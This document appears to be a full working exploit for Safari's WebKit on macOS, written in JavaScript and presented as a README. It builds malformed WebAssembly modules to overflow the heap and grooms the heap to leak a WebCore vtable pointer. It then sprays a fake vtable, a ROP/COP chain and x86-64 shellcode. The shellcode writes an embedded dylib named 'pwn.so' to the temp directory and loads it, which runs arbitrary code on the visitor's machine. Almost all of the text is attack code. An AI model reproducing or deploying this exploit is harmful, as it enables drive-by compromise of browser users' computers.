README.md
Rendering markdown...
// Info leak of the vtable of a HTMLLinkElement.
// HTMLLinkElement is 0xf8;
var TARGET_OBJECT_SIZE = 0xf8;
// Size of StringImplHeader
var SIZE_HEADER_SIZE = 0x18;
// Size of strings we are spraying.
var TARGET_STRING_SIZE = TARGET_OBJECT_SIZE-SIZE_HEADER_SIZE;
// This controls the max value we can write (i.e. 1-500) and thus leak!
// This was 1000 before, it works with 1000 too. But bigger memory allocation needed.
var TYPE_ARR_LEN = 500;
// This needs to be the same size as our target object (4*102 = 408) + 0x18.
// Control the size (newCapacity) of the vector we overflow (sizeof(uint32_t) * 12 = 48 byte buffer). We want 0x198
var FUNC_COUNT = TARGET_OBJECT_SIZE / 4;
// Info leak overflow
// WTF::StringImpl:
// 0x2 = m_refcount;
// 500 = m_length; - Our new string length value (1000).
var OVERWRITE_ARRAY1 = [0x10,500];
var SPRAY_COUNT = 196;
var SPRAY_ADDR_HIGH = 0x8;
// This overflow is used to control RAX on the vtable call
// 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68]
// rax = 0x0000000800000008
var OVERWRITE_ARRAY2 = [0x08,SPRAY_ADDR_HIGH];
// offset from base of vtable.
// HTMLLinkElement
// This needs updating if Safari version changes..
var VTABLE_OFFSET = 0x45e88
// Variable where we store the webcore base in.
var webcore_base;
function read_dword(leak_string, offset){
var val = 0;
for (var i = 0; i < 4; i++){
val += target.charCodeAt(offset + i) << (i*8);
}
return val;
}
/* helper function to build strings which have a power-of-two length */
function pow2str(p, b) {
var str = String.fromCharCode(b);
for (; p; p--){
str += str;
}
return str;
}
function uint64(upper,lower)
{
var s = '';
for (var i = 0; i < 4; i++)
{
s += String.fromCharCode((lower >> (i*8)) & 0xff);
}
for (var i = 0; i < 4; i++)
{
s += String.fromCharCode((upper >> (i*8)) & 0xff);
}
return s;
}
function text(offs) {
//TODO: proper uint64 addition would be nice :D
return uint64(webcore_base[1], (webcore_base[0] + offs));
}
function hex(b)
{
return ('0' + b.toString(16)).substr(-2);
}
function hexlify(bytes)
{
var res = [];
for (var i =0; i < bytes.length; i++)
{
res.push(hex(bytes[i]));
}
return res.join('');
}
/* build a string of any length
* note the actual malloc’ed size will include the StringImpl header size (24 bytes)
*/
function alloc(n, b) {
var res = '';
for(var i = 0; i < 32; i++){
if(n & 0x1)
res += pow2str(i, b);
n >>= 1;
}
/* this will flatten the rope and actually make the allocation */
res[0];
return res;
}
function alloc_rop(n, b, ropstack) {
var res = ropstack;
n -= res.length;
for(var i = 0; i < 32; i++){
if(n & 0x1)
res += pow2str(i, b);
n >>= 1;
}
/* this will flatten the rope and actually make the allocation */
res[0];
return res;
}
// Convert a number to a variable length array.
function to_leb128(num)
{
ret = [];
while (num > 0)
{
//print("entering loop with num " + num);
tmp = num & 0x7f;
num >>= 7;
if (num > 0)
tmp |= 0x80;
ret.push("0x" + tmp.toString(16))
}
return ret;
}
// Utility function to generate a unique type..
function generate_type(param_count)
{
var tmp = [];
var form = ['0x60'];
tmp = tmp.concat(form);
tmp = tmp.concat(to_leb128(param_count));
for (p = 0; p < param_count; p++)
tmp = tmp.concat('0x7f');
// Return count (getting cut off..)
tmp = tmp.concat('0x1');
tmp = tmp.concat('0x7f');
//print(tmp);
return tmp;
}
// Create the header
function create_magic()
{
// Header bytes
magic = ['0x0', '0x61', '0x73', '0x6d'];
version = ['0x1', '0x0', '0x0', '0x0'];
header = magic.concat(version);
return header;
}
function create_type_section()
{
var type_id = ['0x1'];
// Number of unique types to create.
var type_count = to_leb128(TYPE_ARR_LEN);
var type_pl = type_count;
for (i = 0; i < TYPE_ARR_LEN; i++)
{
var t = generate_type(i+1);
//print(t);
type_pl = type_pl.concat(t);
}
var type_sz = to_leb128(type_pl.length);
var type_section = type_id.concat(type_sz).concat(type_pl);
//print(type_section);
return type_section;
}
// Used to create our victim buffer we will overflow.
function create_valid_function_section()
{
// Function section (3)
var func_id = ['0x3'];
var func_count = to_leb128(FUNC_COUNT);
var single_func = ["0x1"]; // Just use a valid idx for the first section
var func_arr = [];
for (i = 0; i < FUNC_COUNT; i++)
{
func_arr = func_arr.concat(single_func);
}
var func_size = (FUNC_COUNT) + func_count.length
var func_sz = to_leb128(func_size);
var func_pl = func_count.concat(func_arr);
var func_section = func_id.concat(func_sz).concat(func_pl);
//print(func_section);
return func_section;
}
// Return back an invalid section
function create_invalid_section()
{
var inv_id = ['0x6d'];
var inv_sz = ['0x2'];
var inv_pl = ['0x0', '0x1'];
var inv_section = inv_id.concat(inv_sz).concat(inv_pl);
return inv_section;
}
// Used to create our overflow section (must be less than FUNC_COUNT) in order to reuse allocation.
// Count = 2
function create_overflow_section(overwrite_array)
{
var func_id = ['0x3'];
var func_count = to_leb128(overwrite_array.length);
var func_arr = [];
// Construct our overflow array
for (var i = 0; i < overwrite_array.length; i++)
{
var idx = overwrite_array[i]-1;
//alert(idx);
var single_func = to_leb128(idx);
func_arr = func_arr.concat(single_func);
}
var func_size = overwrite_array.length + func_count.length;
var func_sz = to_leb128(func_size);
var func_pl = func_count.concat(func_arr);
var func_section = func_id.concat(func_sz).concat(func_pl);
return func_section;
}
// Return back an invalid section
function create_invalid_section()
{
var inv_id = ['0x6d'];
var inv_sz = ['0x2'];
var inv_pl = ['0x0', '0x1'];
var inv_section = inv_id.concat(inv_sz).concat(inv_pl);
return inv_section;
}
///var payload;
function create_payload(payload){
console.log("create payload called!");
var header = create_magic();
var type_section = create_type_section();
var valid_func_section = create_valid_function_section();
var invalid_section = create_invalid_section();
var overflow_section1 = create_overflow_section(payload);
var payload = header.concat(type_section).concat(valid_func_section).concat(invalid_section).concat(overflow_section1).concat(invalid_section);
return payload;
}
holder = [];
function gc2()
{
var h = [];
for (var i = 0; i < 10000; i++)
h[i] = alloc(400,0x20);
holder.push(h);
}
var x;
function ab_spray(target_addr, ropchain, payload, cop_ptrs) {
// Small helper to avoid allocations with .set(), so we don't mess up the heap
function set(p, i, a,b,c,d,e,f,g,h) {
p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
}
//alert("let's go");
AR_SZ = 0x08000000;
var target_p = [];
var ropchain_ps = [];
var cop_ps = [];
for(var i = 0; i < 8; i++)
target_p.push(target_addr.charCodeAt(i));
for(var i = 0; i < ropchain.length; i++) {
var tmp = [];
for(var j = 0; j < 8; j++)
tmp.push(ropchain[i].charCodeAt(j));
ropchain_ps.push(tmp);
}
// TODO this sometimes crashes because *(0x8000000000)==0 -> spray more ptrs!
var dylib_start = AR_SZ - Math.ceil(DYLIB_LENGTH/0x1000)*0x1000;
function spray(idx) {
var res = new Uint8Array(AR_SZ);
var dylib_idx = 0;
for (var i = 0; i < AR_SZ; i += 0x1000) {
var p;
if(i >= dylib_start) {
for(var j = 0; j < 0x200 && dylib_idx < DYLIB.length; j++,dylib_idx++) {
p = DYLIB[dylib_idx];
var idx = i + (j<<3);
set(res, idx, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
}
}
// i % PAGESIZE, spray differnt pattern per page
else if(((i >> 12) & 0x3) == 0 || ((i >> 12) & 0x3) == 3) {
p = target_p;
for(var j = 0; j < 0x1000; j += 8) {
set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
}
for(var k in cop_ptrs) {
j = cop_ptrs[k][0];
p = cop_ptrs[k][1];
set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
}
}
else if(((i >> 12) & 0x3) == 1) { // ROP PAGE
var roplen = ropchain_ps.length << 3;
var idx = 0;
for(var j = 0; j < roplen; j += 8) {
p = ropchain_ps[idx++];
set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
}
}
else if(((i >> 12) & 0x3) == 2) { // PAYLOAD PAGE
for(var j = 0; j < payload.length; j++)
res[i+j] = payload.charCodeAt(j);
}
else {
p = target_p;
for(var j = 0; j < 0x1000; j += 8)
set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
}
}
return res;
}
// predictably allocates memory at 0x800000000
x = [];
for(var i = 0; i < SPRAY_COUNT; i++)
x.push(spray(i));
var size_gb = AR_SZ * x.length / 1024 / 1024 / 1024;
//alert("done spraying "+x.length+" buffers, total size: "+size_gb+"GB");
return x;
}
payload1 = create_payload(OVERWRITE_ARRAY1);
payload2 = create_payload(OVERWRITE_ARRAY2);
// Stage1: Trigger the bug to perform an info leak.
var a_elems = [];
var b_elems = [];
var e_elems = [];
var c_elems = [];
var d_elems = [];
// First spray a pattern.
// <String A><String B><HTMLLinkElement>
for (var i = 0; i < 0x1000; i++)
{
var a = alloc(TARGET_STRING_SIZE, 0x41); // One we free (replace with wasm)
var b = alloc(TARGET_STRING_SIZE, 0x42); // Never free this.
var e = document.createElement("link"); // Never free this (form element is the same size..)
a_elems.push(a);
b_elems.push(b);
e_elems.push(e);
}
// Now free some A elements, so it should end up in one of these slots...
// <Free><String B><HTMLLinkElement>
for (var i = 0; i < a_elems.length; i++)
{
//delete(a_elems[i]);
a_elems[i] = null;
}
for (var i = 0; i < a_elems.length; i++)
{
delete(a_elems[i]);
//c_elems[i] = null;
}
// Trigger some GCs
for (var i = 0; i < 4; i++) gc2();
// Try trigger a few times by getting the wasm in the A slots..
// Not sure why we need to do it twice :), but it makes its way more reliable that we hit corruption first time round.
// <WASM><String B><HTMLLinkElement>
try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };
try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };
var corr_idx = -1;
for (var i = 0; i < b_elems.length; i++)
{
if (b_elems[i]) {
// We use slice(0) to force an update of the .length cached property - just reading it fails
str = b_elems[i].slice(0);
if (str.length != TARGET_STRING_SIZE) {
//alert("Corruption size = " + str.length + " at index " + i);
corr_idx = i;
}
}
}
// If there has been corruption dump the bytes after the buffer.
if (corr_idx != -1)
{
//document.write(keep[corr_idx]);
var target = b_elems[corr_idx].slice(0);
//document.write(target);
// Try dump the pointers
var vtable_ptr = -1;
var leaked_ptr_lower = read_dword(target,TARGET_STRING_SIZE);
var leaked_ptr_higher = read_dword(target,TARGET_STRING_SIZE+4);
if (leaked_ptr_higher != 0x7fff)
{
// False positive - go again.
document.location.reload();
}
var value = ((leaked_ptr_lower) >>> 0).toString(16);
document.writeln("Vtable lower " + value + " <br>");
var value = ((leaked_ptr_higher) >>> 0).toString(16);
document.writeln("Vtable upper " + value+ " <br>");
// Try calculate the DATA section base from the vtable..
// Note: static offset of vtable here..
// Was previously 0x4ecf0e88
var data_base_lower = leaked_ptr_lower - VTABLE_OFFSET;
var data_base_higher = leaked_ptr_higher;
var data_base_lower_hex = ((data_base_lower) >>> 0).toString(16);
var data_base_upper_hex = ((data_base_higher) >>> 0).toString(16);
document.writeln("WebCore __DATA section base lower " + data_base_lower_hex + " <br>");
document.writeln("WebCore __DATA section base upper " + data_base_upper_hex + " <br>");
// For some reason the TEXT section is always 0x4ecb8000 before the data section on 10.13.3.
// Therefore remove this from the lower.
text_base_lower = data_base_lower - 0x4ecb8000;
text_base_higher = data_base_higher; // Both will be the same.
text_base_lower_hex = ((text_base_lower) >>> 0).toString(16);
text_base_upper_hex = ((text_base_higher) >>> 0).toString(16);
document.writeln("WebCore __TEXT section base lower " + text_base_lower_hex + " <br>");
document.writeln("WebCore __TEXT section base upper " + text_base_upper_hex + " <br>");
// 42d8bfff
for (var i = 0; i < target.length; i+=4)
{
var leaked_ptr_lower = read_dword(target, TARGET_STRING_SIZE + i);
// Convert it to hex.
var value = ((leaked_ptr_lower) >>> 0).toString(16);
document.writeln(value);
}
}
else
{
// Heap didn't lay out like we want it - try again!
// We cannot continue unless we have the TEXT base :(
document.location.reload();
}
webcore_base = [text_base_lower,text_base_higher];
// Stage 2.. Do our heap spray so we have a fake vtable at the correct address..
// 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68]
// At crash time rax = 0x0000000800000008
//alert("Stage 2: Spraying fake vtable at "+SPRAY_ADDR_HIGH+"00000000");
// Fixed offsets
/*
surgical_cop // Call Oriented Programming
- rdi contains addrof(this), so our spray will be nearby.
- we spray a retsled + ropchain-stub, so let's point rsp there
0x12df3b // add rdi, 0xd8; call [rax+0x10]
0x138d7f // add rdi, 0x60; call qword ptr [rax + 0x40];
0x19a688 // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
0x16ecd9 // mov rdx, r14; call qword ptr [rax + 0x18];
0xdeb12b // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
*/
var sigtrap = text(0xa576); // 0xcc int3
var cop__add_rdi_0xd8 = text(0x12df3b);
// add rdi, 0xd8; mov esi, 1; call qword ptr [rax + 0x10];
var rop_stack_pivot = text(0xdeb12b);
// push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
var pop_rdx__ret = text(0x4b4a2); // pop rdx; ret;
var pop_rsp__ret = text(0xb369); // pop rsp; ret;
// this is allocated at 0x20000000, but rax points 8 bytes in
// => low dword of rax will be 8, therefore add 8 to every offset:
var cop_ptrs = {
0x10: text(0x16ecd9), // mov rdx, r14; call qword ptr [rax + 0x18];
0x18: text(0x138d7f), // add rdi, 0x60; call qword ptr [rax + 0x40];
0x20: rop_stack_pivot, // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
0x48: text(0x19a688), // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
// transfers control to ropstub
}
for(var k in cop_ptrs) {
var tmp = [];
for(var j = 0; j < 8; j++)
tmp.push(cop_ptrs[k].charCodeAt(j));
cop_ptrs[k] = [parseInt(k), tmp];
}
//alert("spraying "+(l.concat(h)));
var ropstub = [
pop_rdx__ret,
uint64(SPRAY_ADDR_HIGH, 0x0001000),
rop_stack_pivot
];
var pop_rax__ret = text(0xb2ce); // pop rax; ret
var pop_rcx__ret = text(0x9b396); // pop rcx; ret;
var pop_rsi__ret = text(0x3f37e); // pop rsi; ret;
var pop_rdi__ret = text(0x1f31cd);// pop rdi; ret
var rop__ret = text(0x1f31cd + 1);// ret
var jmp_rax = text(0x2c1e); // jmp rax;
var mov_ptr_rdi_rax__ret = text(0x44568); // mov qword ptr [rdi], rax; ret;
var mov_rdi_rax__pop_rbp__ret = text(0x5e9bf); // mov rdi, rax; mov rax, rdi; pop rbp; ret;
var dlopen = text(0x13b158a); // dlopen stub, otool -arch x86_64 -IV
var dlsym = text(0x13b1590); // dlsym stub
// more stubs, needed in payload
var strdup = text(0x13b1c6e);
var open = text(0x13b1ad0);
var write = text(0x13b1eea);
var usleep = text(0x13b1e3c);
var JUNK = uint64(0xdeadbeef, 0x0badc0de);
var ropchain = [
rop__ret,
rop__ret,
rop__ret,
// write "/usr/lib/libc.dylib" to 0x200001f00
pop_rax__ret,
"/usr/lib",
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f00), // 0-memory
mov_ptr_rdi_rax__ret,
pop_rax__ret,
"/libc.dy",
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f08),
mov_ptr_rdi_rax__ret,
pop_rax__ret,
"lib" + "\x00".repeat(5),
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f10),
mov_ptr_rdi_rax__ret,
rop__ret,
// write "mprotect" to 0x200001f20
pop_rax__ret,
"mprotect",
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f20), // 0-memory
mov_ptr_rdi_rax__ret,
// dlopen("libc.dylib", RTLD_NOW);
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f00), // "libc.dylib"
pop_rsi__ret,
uint64(0x0, 0x2), // RTLD_NOW
dlopen,
// dlsym(LIBC_HANDLE, "mprotect")
mov_rdi_rax__pop_rbp__ret, // move handle to rdi
JUNK,
pop_rsi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00001f20), // "mprotect"
dlsym,
// mprotect(0x200002000, 0x1000, PROT_READ|PROT_EXEC);
pop_rdi__ret,
uint64(SPRAY_ADDR_HIGH, 0x00002000), // payload addr
pop_rsi__ret,
uint64(0x0, 0x1000), // page size
pop_rdx__ret,
uint64(0x0, 0x5), // PROT_READ|PROT_EXEC
jmp_rax,
uint64(SPRAY_ADDR_HIGH, 0x00002000), // RET 2 SHELLCODE!!
sigtrap,
JUNK
];
var SC = ""; // "\xcc";
// LIBC = dlopen("libc.dylib", RTLD_NOW)
SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f00); // mov rdi, &"libc.dylib"
SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2
SC += "\x48\xb8" + dlopen; // mov rax, dlopen
SC += "\xff\xd0"; // call rax
SC += "\x48\x89\xc5"; // mov rbp, rax
// dlsym(LIBC, "getenv")
SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f30); // mov rsi, &"getenv"
SC += "\x48\xbb" + "getenv\x00\x00"; // mov rbx, "getenv"
SC += "\x48\x89\x1e"; // mov [rsi], rbx
SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle
SC += "\x48\xb8" + dlsym; // mov rax, dlsym
SC += "\xff\xd0"; // call rax
// getenv("TMPDIR")
SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f40); // mov rdi, &"TMPDIR"
SC += "\x48\xbb" + "TMPDIR\x00\x00"; // mov rbx, "TMPDIR"
SC += "\x48\x89\x1f"; // mov [rdi], rbx
SC += "\xff\xd0"; // call rax
// strdup($TMPDIR) and save in r12
SC += "\x48\x89\xc7"; // mov rdi, rax
SC += "\x48\xb8" + strdup; // mov rax, strdup
SC += "\xff\xd0"; // call rax
SC += "\x49\x89\xc4"; // mov r12, rax
// dlsym(LIBC, "strcat")
SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f50); // mov rsi, &"strcat"
SC += "\x48\xbb" + "strcat\x00\x00"; // mov rbx, "strcat"
SC += "\x48\x89\x1e"; // mov [rsi], rbx
SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle
SC += "\x48\xb8" + dlsym; // mov rax, dlsym
SC += "\xff\xd0"; // call rax
// strcat($TMPDIR, "pwn.so")
SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f60); // mov rsi, &"pwn.so"
SC += "\x48\xbb" + "pwn.so\x00\x00"; // mov rbx, "pwn.so"
SC += "\x48\x89\x1e"; // mov [rsi], rbx
SC += "\x4c\x89\xe7"; // mov rdi, r12
SC += "\xff\xd0"; // call rax
// open(libpath, O_CREAT|O_RDWR, 0755)
SC += "\x4c\x89\xe7"; // mov rdi, r12
SC += "\x48\xbe" + uint64(0x0, 0x202) // mov rsi, 0x202
SC += "\x48\xba" + uint64(0x0, 0755) // mov rdx, 0755
SC += "\x48\xb8" + open; // mov rax, open
SC += "\xff\xd0"; // call rax
SC += "\x49\x89\xc5"; // mov r13, rax
// find dylib in memory by looking for 0xfeedfacf-magic
SC += "\xbb\x00\x00\xed\xfe"; // mov ebx, 0xfeed0000
SC += "\x66\xbb\xcf\xfa"; // mov bx, 0xfacf
SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1000); // mov rsi, end of payload - 0x1000
SC += "\x48\x81\xc6\x00\x10\x00\x00"; // [LOOP] add rsi, 0x1000
SC += "\x8b\x0e"; // mov ecx, [rsi]
SC += "\x39\xcb"; // cmp ebx, ecx
SC += "\x75\xf3"; // jne -11 [/LOOP]
// write(fd, &dylib, sizeof(dylib))
SC += "\x48\xba" + uint64(0x0, DYLIB_LENGTH); // mov rdx, sizeof(dylib)
SC += "\x4c\x89\xef"; // mov rdi, r13
SC += "\x48\xb8" + write; // mov rax, write
SC += "\xff\xd0"; // call rax
// dlopen("pwn.so", RTLD_NOW)
SC += "\x4c\x89\xe7"; // mov rdi, r12
SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2
SC += "\x48\xb8" + dlopen; // mov rax, dlopen
SC += "\xff\xd0"; // call rax
// usleep(0xffffffff)
//SC += "\x48\xbf" + uint64(0, 0xffffffff); // mov rdi, 0xffffffff
//SC += "\x48\xb8" + usleep; // mov rax, usleep
//SC += "\xff\xd0"; // call rax
// in case that wasn't enough, loop forever :)
SC += "\xeb\xfe"; // jmp 0
var RET_SLED_LEN = 20;
window.STUB_OFFSET = 0; // adjust for stack-pivot
// remember: maxlen = 0xf0 = 240 = 30 chain elements
var ropstub_str = '';
for(var i = 0; i < RET_SLED_LEN; i++)
ropstub_str += rop__ret;
for(var i = 0; i < ropstub.length; i++)
ropstub_str += ropstub[i];
// Stage 3.. Now try trigger the bug
// In the previous step we sprayed a fake vtable..
// We redirect execution to this via this vtable call.
//alert("Stage 3 (attach debugger): Triggering bug with text base 0x" + text_base_upper_hex + text_base_lower_hex);
var a_elems = [];
var b_elems = [];
var e_elems = [];
var c_elems = [];
var d_elems = [];
var spray_buffers;
function spray_maybe() {
if(!spray_buffers)
spray_buffers = ab_spray(cop__add_rdi_0xd8, ropchain, SC, cop_ptrs);
return spray_buffers;
}
function stage3() {
for (var i = 0; i < 0x0a000; i++)
{
var a = alloc_rop(TARGET_STRING_SIZE, 0x43, ropstub_str);
var b = alloc_rop(TARGET_STRING_SIZE, 0x44, ropstub_str); // Free this one
var e = document.createElement("link");
//var c = alloc_rop(TARGET_STRING_SIZE, 0x45, ropstub_str);
a_elems.push(a);
b_elems.push(b);
e_elems.push(e);
//c_elems.push(c);
}
for (var i = 0; i < b_elems.length; i++)
{
b_elems[i] = null;
}
for (var i = 0; i < b_elems.length; i++)
{
delete(b_elems[i]);
}
// Trigger some GCs
for (var i = 0; i < 4; i++) gc2();
spray_maybe();
// Trigger the vtable overwrite a few times and redirect execution..
for (var i = 0; i < 3; i++)
{
try { module = new WebAssembly.Module(new Uint8Array(payload2)) } catch (e) { };
}
for(var i = 0; i < e_elems.length; i++) {
e_elems[i].focus();
}
}
for(var i = 0; i < 10; i++)
stage3();
// This is needed to trigger the vtable call =)
window.location.reload();